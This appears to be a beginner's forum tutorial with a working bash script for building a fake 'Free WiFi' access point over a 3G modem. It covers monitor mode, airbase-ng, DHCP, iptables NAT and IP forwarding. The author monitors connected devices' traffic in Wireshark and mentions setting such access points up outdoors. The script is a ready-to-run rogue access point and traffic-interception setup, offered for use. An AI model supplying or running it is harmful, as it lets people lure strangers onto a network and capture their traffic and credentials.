How to make a fake access point with mobile broadband (3G)
HI I hope this is going to help someone.
I 've been trying to make a fake access point with my 3g usb connection for ever because I'm a beginner. now I managed to and this is how .
The purpose of this is if you don't want to use your home network or you want to make fake access points outdoor with working network connection .
So I suppose you had downloaded and set up dhcp3 with the right configurations , and you already know how to make a fake access point with wired network.
I'm using for this a D-link dwa-125 usb wifi adapter with the [ driver=rt2800usb ] and a huawei e153 3g modem .
this the script I used I copied it from here .
here is the part of the script you need .
before you run this script you need to have you interface in monitor mode because I removed the command to, from the script.
my wifi adapter is wlan1
with airmon-ng start wlan1
copy the script to a text file, save it as fakeap.sh and make it executable .
then run it in terminal. it will set up everything for you .
I tried it with my Android tablet and phone and it worked and I could monitor everything in wireshark.
what I did is change the interface name from wlan1 to ppp0 in the line
iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE
#start the fake ap
echo "[+] Starting the fake access point"
xterm -geometry 75x15+1+0 -T FakeAP -e airbase-ng -P -C 9 -e "Free WiFi" mon0 -v&
# -e for name, -c for channel, on the monitor mon0
#this will create a virtuel interface called at0
echo "[+] Configure at0 with dhcp"
ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128
echo "[+]add a route for the traffic"
route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129
#192.168.2.128 == the netmask
#255.255.255.128 == the subnet which is /25
#192.168.2.129 == the gatway aka first avaible IP address on the network
#now point the new dhcp.conf to the dhcp3-server
dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
# run the following commands to flush all ip-tables and setup new ones
echo "[+] iptables"
iptables --flush && iptables --table nat --flush && iptables --delete-chain && iptables --table nat --delete-chain &&
iptables --table nat --append POSTROUTING --out-interface ppp0 -j MASQUERADE &&
iptables --append FORWARD --in-interface at0 -j ACCEPT &&
echo 1 > /proc/sys/net/ipv4/ip_forward